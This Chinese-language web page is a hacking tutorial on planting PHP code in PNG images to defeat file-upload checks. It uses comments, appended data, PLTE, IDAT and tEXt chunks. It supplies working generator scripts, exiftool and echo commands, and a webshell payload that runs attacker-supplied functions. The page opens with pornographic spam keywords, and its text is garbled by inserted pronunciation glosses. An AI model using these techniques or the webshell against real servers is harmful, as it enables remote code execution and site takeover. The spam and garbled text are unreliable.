亚洲乱色熟女一区二区三区丝袜,天堂√中文最新版在线,亚洲精品乱码久久久久久蜜桃图片,香蕉久久久久久av成人,欧美丰满熟妇bbb久久久

LOGO OA教程 ERP教程 模切知識(shí)交流 PMS教程 CRM教程 開(kāi)發(fā)文檔 其他文檔  
 
網(wǎng)站管理員

黑客攻擊時(shí)如何在PNG格式的圖片中植入PHP代碼

admin
2024年3月25日 0:39 本文熱度 1904

在評(píng)估PHP應(yīng)用時(shí)候經(jīng)常會(huì)遇到文件上傳漏洞,該漏洞允許通過(guò)上傳植入有PHP代碼的文件來(lái)實(shí)現(xiàn)惡意代碼植入,尤其是在圖片上傳漏洞中,常見(jiàn)的文件類(lèi)型是PNG格式。

PNG圖片的代碼植入方式根據(jù)防護(hù)水平的不同而不同,有四類(lèi)代碼植入方式。





01

基礎(chǔ)的PNG圖片代碼植入

基本的PNG圖片上傳不考慮任何的上傳漏洞防護(hù),很容易造成代碼植入從而導(dǎo)致PHP任意代碼執(zhí)行。

如以下代碼示例:

這段代碼只是將上傳的文件名通過(guò)添加唯一ID重命名文件,并將文件移動(dòng)到可對(duì)外訪問(wèn)的目錄下,即參數(shù)thumbnails_directory設(shè)定的目錄下。

這段代碼中只通過(guò)MIME做了文件格式的檢查(通過(guò)文件內(nèi)容檢查判斷文件格式),沒(méi)有做文件后綴檢查,因此只要文件內(nèi)容與PNG格式吻合即可上傳。

應(yīng)對(duì)這種只有MIME文件格式檢查的文件上傳功能,可以通過(guò)在PNG圖片中植入PHP代碼來(lái)實(shí)現(xiàn)代碼任意執(zhí)行。

方法1:PNG注釋

PNG圖片格式允許添加注釋到文件中,用于保存一些元數(shù)據(jù)。使用exiftool可以實(shí)現(xiàn)注釋添加:

$ exiftool -comment="" png-hack-1.png

PNG文件后綴修改為PHP后上傳,即可實(shí)現(xiàn)PHP代碼任意執(zhí)行。

方法2:直接附加

通過(guò)echo命令直接將PHP代碼附加到文件末尾即可:

echo '' >> png-hack-1.png && mv png-hack-1.png png-hack-1.php




02

PHP-GD文件壓縮代碼植入

多數(shù)情況下圖片文件被上傳后會(huì)被裁剪、壓縮甚至轉(zhuǎn)換格式后存儲(chǔ),比如使用PHP-GD庫(kù)。

下圖的代碼中使用PHP-GD庫(kù)的imagecreatefrompng從原始文件創(chuàng)新新的文件,而后通過(guò)imagepng函數(shù)對(duì)PNG圖片進(jìn)行壓縮(參數(shù)3中指定的level 9)后進(jìn)行存儲(chǔ)。

使用直接代碼植入的PNG圖片經(jīng)過(guò)壓縮后會(huì)失去植入的代碼,從而導(dǎo)致漏洞利用失敗。

方法3:PLTE塊

PNG文件包含兩種類(lèi)型的塊信息:附加數(shù)據(jù)塊(ancillary chunks)和關(guān)鍵塊(critical chunks),前者不是PNG文件的必需,后者是PNG文件的必要信息塊。

無(wú)論使用哪種壓縮方式進(jìn)行文件壓縮,都會(huì)刪除附加數(shù)據(jù)塊的內(nèi)容以減小輸出文件的大小,這也是直接將代碼植入圖片會(huì)無(wú)法奏效的原因。

所以,如果將代碼植入到PNG文件的關(guān)鍵塊中就可以避免壓縮文件的影響,這里最佳的選擇是關(guān)鍵塊里的PLTE塊(palette),比如顏色列表。

PLTE塊包含1到256的調(diào)色板入口,每三個(gè)字節(jié)構(gòu)成一組:

Red:   1 byte (0 = black, 255 = red)

Green: 1 byte (0 = black, 255 = green)

Blue:  1 byte (0 = black, 255 = blue)

入口的數(shù)量決定塊的長(zhǎng)度,但總長(zhǎng)度是3的倍數(shù)。

所以理論上,利用PLTE塊可以插入3*256,共768字節(jié)的代碼,唯一的限制是payload必須被3整除。

<?php

 

if(count($argv) != 3) exit("Usage $argv[0] <PHP payload> <Output file>");

 

$_payload = $argv[1];

$output = $argv[2];

 

while (strlen($_payload) % 3 != 0) { $_payload.=" "; }

 

$_pay_len=strlen($_payload);

if ($_pay_len > 256*3){

    echo "FATAL: The payload is too long. Exiting...";

    exit();

}

if($_pay_len %3 != 0){

    echo "FATAL: The payload isn't divisible by 3. Exiting...";

    exit();

}

 

$width=$_pay_len/3;

$height=20;

$im = imagecreate($width, $height);

 

$_hex=unpack('H*',$_payload);

$_chunks=str_split($_hex[1], 6);

 

for($i=0; $i < count($_chunks); $i++){

    $_color_chunks=str_split($_chunks[$i], 2);

    $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));

 

    imagesetpixel($im,$i,1,$color);

}

 

imagepng($im,$output);

通過(guò)上面的payload程序生成構(gòu)造的PLTE圖片:
php gen.php '' nasa.php

上傳nasa.php文件至文件上傳,即可執(zhí)行phpinfo()函數(shù):

03

PHP-GD尺寸裁剪代碼植入

另一種圖片文件上傳的標(biāo)準(zhǔn)操作是進(jìn)行文件裁剪(resize)之后保存。應(yīng)用程序可能會(huì)用到imagecopyresized函數(shù)或imagecopyresampled函數(shù),比如以下代碼:

重定義尺寸的圖片不使用原圖片中的關(guān)鍵塊內(nèi)容,比如PLTE塊,而是新創(chuàng)建一個(gè)圖片,且僅使用源文件中的像素?cái)?shù)據(jù),因此無(wú)論是關(guān)鍵塊還是附加數(shù)據(jù)塊在新圖片中都不復(fù)存在。所以,只能將代碼植入到源文件的像素?cái)?shù)據(jù)中。

方法4:IDAT塊

一個(gè)相對(duì)負(fù)載但有效的辦法是將PHP代碼植入到PNG文件的IDAT塊,這些塊中包含文件的真實(shí)數(shù)據(jù),比如PNG的像素,以3個(gè)字節(jié)記錄的RGB顏色軌道。創(chuàng)建IDAT塊的時(shí)候,PNG線過(guò)濾器先處理3個(gè)字節(jié)的像素,而后使用DEFALTE算法進(jìn)行壓縮。

要?jiǎng)?chuàng)建包含PHP代碼的PNG文件IDAT塊,必須精確地知道PNG線過(guò)濾器和DFALTE算法的執(zhí)行過(guò)程,而壓縮的過(guò)程受到裁剪大小的影響。

以將110×110像素的PNG圖片裁剪至55×55像素為例,并植入payload:

<?=$_GET[0]($_POST[1]);?>

使用以上payload生成代碼執(zhí)行生成惡意PNG圖片:

php gen_idat_png.php > nasa.php

最終的效果如下:

通過(guò)IDAT構(gòu)造惡意PNG圖片可以有效應(yīng)對(duì)尺寸裁剪的問(wèn)題,但由于和裁剪尺寸相關(guān),因此構(gòu)造過(guò)程會(huì)非常棘手。






04

IMAGICK圖片裁剪的代碼植入

除了PHP-GD之外,應(yīng)用程序還可以使用另一種裁剪方式進(jìn)行圖片裁剪,即ImageMagick的PHP版本Imagick。

使用Imagick進(jìn)行圖片處理的時(shí)候(比如thumbnailImage函數(shù)或resizeImage函數(shù)),看起來(lái)可以使用應(yīng)對(duì)PHP-GD的方法來(lái)解決,比如PNG圖片的注釋或者PLTE塊植入PHP代碼。

然而,Imagick庫(kù)可以使用另一種比IDAT方法更有效的方法。

方法5:tEXt塊

tEXt chunks用于傳達(dá)與圖像相關(guān)的文本信息。每個(gè)文本塊都包含一個(gè)關(guān)鍵字作為其第一個(gè)字段,以確定文本字符串所代表的信息類(lèi)型。

PNG圖片的注釋部分其實(shí)是tEXt塊中預(yù)定義的一種形式。在Imagick裁剪圖片的時(shí)候,會(huì)執(zhí)行以下操作:

  • 擦除tEXt塊中的注釋?zhuān)╟omment);
  • 覆蓋tEXt塊中的以下值:

date:create, date:modify, software, Thumb::Document::Pages, Thumb::Image::Height, Thumb::Image::Width, Thumb::Mimetype, Thumb::MTime, Thumb::Size, Thumb::URI;

  • 保持tEXt塊中的其他部分;

因此,可以將PHP代碼植入到除了注釋部分和覆蓋部分的其他tEXt塊中,比如下面的代碼將植入代碼到tEXt塊中的Repoog屬性,該屬性是自定義的。

<?php

 

if(count($argv) != 4) exit("Usage $argv[0] <Input file> <PHP payload> <Output file>");

 

$input = $argv[1];

$_payload = $argv[2];

$output = $argv[3];

 

$imgck = new Imagick($input);

$imgck->setImageProperty("Repoog", $_payload);

$imgck->writeImage($output);

 

?>

然后執(zhí)行該腳本生成惡意PNG圖片:

php gen_tEXt_png.php png-hack-1.png '' nasa.php

最終的效果如下:

綜上所述,不同PNG圖片處理方式下的代碼植入方式如下:


該文章在 2024/3/25 0:39:19 編輯過(guò)
關(guān)鍵字查詢(xún)
相關(guān)文章
正在查詢(xún)...
點(diǎn)晴ERP是一款針對(duì)中小制造業(yè)的專(zhuān)業(yè)生產(chǎn)管理軟件系統(tǒng),系統(tǒng)成熟度和易用性得到了國(guó)內(nèi)大量中小企業(yè)的青睞。
點(diǎn)晴PMS碼頭管理系統(tǒng)主要針對(duì)港口碼頭集裝箱與散貨日常運(yùn)作、調(diào)度、堆場(chǎng)、車(chē)隊(duì)、財(cái)務(wù)費(fèi)用、相關(guān)報(bào)表等業(yè)務(wù)管理,結(jié)合碼頭的業(yè)務(wù)特點(diǎn),圍繞調(diào)度、堆場(chǎng)作業(yè)而開(kāi)發(fā)的。集技術(shù)的先進(jìn)性、管理的有效性于一體,是物流碼頭及其他港口類(lèi)企業(yè)的高效ERP管理信息系統(tǒng)。
點(diǎn)晴WMS倉(cāng)儲(chǔ)管理系統(tǒng)提供了貨物產(chǎn)品管理,銷(xiāo)售管理,采購(gòu)管理,倉(cāng)儲(chǔ)管理,倉(cāng)庫(kù)管理,保質(zhì)期管理,貨位管理,庫(kù)位管理,生產(chǎn)管理,WMS管理系統(tǒng),標(biāo)簽打印,條形碼,二維碼管理,批號(hào)管理軟件。
點(diǎn)晴免費(fèi)OA是一款軟件和通用服務(wù)都免費(fèi),不限功能、不限時(shí)間、不限用戶(hù)的免費(fèi)OA協(xié)同辦公管理系統(tǒng)。
Copyright 2010-2025 ClickSun All Rights Reserved